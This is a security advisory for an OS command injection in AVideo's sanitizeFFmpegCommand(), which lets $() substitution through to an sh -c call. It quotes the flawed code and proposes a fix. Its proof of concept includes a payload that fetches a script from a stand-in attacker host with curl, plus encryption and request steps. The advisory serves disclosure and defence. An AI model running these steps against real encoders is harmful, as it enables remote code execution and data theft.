GHSA-pmj8-r2j7-xg6c AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, ``). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Details Vulnerable sanitization function (`plugin/API/standAlone/functions.php:59-82`): ```php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg']; // Remove dangerous characters $command = str_replace('&&', '', $command); $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); $command = preg_replace('/[;|`<>]/', '', $command); // Missing: $ ( ) \n // Ensure it starts with an allowed prefix foreach ($allowedPrefixes as $prefix) { if (strpos(trim($command), $prefix) === 0) { return $command; } } return ''; } ``` The character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\n`. This means `$(...)` command substitution passes through completely unmodified. Execution sink (`objects/functionsExec.php:656-658`): ```php $commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; ``` The `addcslashes($command, '"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string. Execution flow: 1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php` 2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt 3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped 4. Command passes prefix check (starts with `ffmpeg`) 5. `execAsync()` wraps it in `sh -c "..."` — `$()` is evaluated as command substitution Auth barrier analysis: • Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds • Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong • IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone • On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker • The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting PoC Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability): ```bash Step 1: Craft the malicious ffmpeg command $() passes sanitization; curl -o avoids needing > which would be stripped MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4' Step 2: Build the JSON payload PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}" Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath) KEY = sha256(saltV2) IV = substr(sha256(systemRootPath), 0, 16) ENCRYPTED=$(php -r " \$salt = 'KNOWN_SALTV2'; \$iv_source = '/var/www/html/AVideo/'; \$key = hash('sha256', \$salt); \$iv = substr(hash('sha256', \$iv_source), 0, 16); echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv)); ") Step 4: Send to standalone encoder curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')" Result: The standalone encoder executes: sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..." The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script ``` Sanitization trace for the payload: • `str_replace('&&', '', ...)` → no `&&` present, passes • `preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...)` → no `>` outside `$()`, passes • `preg_replace('/[;|`<>]/', '', ...)` → no `;|`<>` present, passes • Prefix check → starts with `ffmpeg`, passes • `addcslashes($command, '"')` → no `"` in payload, `$()` untouched Impact • Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process • Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks • Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder • Service Disruption: Attacker can terminate encoding processes or consume system resources The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk. Recommended Fix Replace the denylist-based sanitization with proper argument escaping: ```php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg']; // Verify it starts with an allowed prefix $trimmed = trim($command); $validPrefix = false; foreach ($allowedPrefixes as $prefix) { if (strpos($trimmed, $prefix) === 0) { $validPrefix = true; break; } } if (!$validPrefix) { _error_log("Sanitization failed: Command does not start with an allowed prefix"); return ''; } // Strip ALL shell metacharacters, including command substitution // This covers: ; | ` $ ( ) { } \n \r $command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command); $command = str_replace('&&', '', $command); $command = preg_replace('/[\n\r]/', '', $command); $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); _error_log("Command sanitized successfully"); return $command; } ``` Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.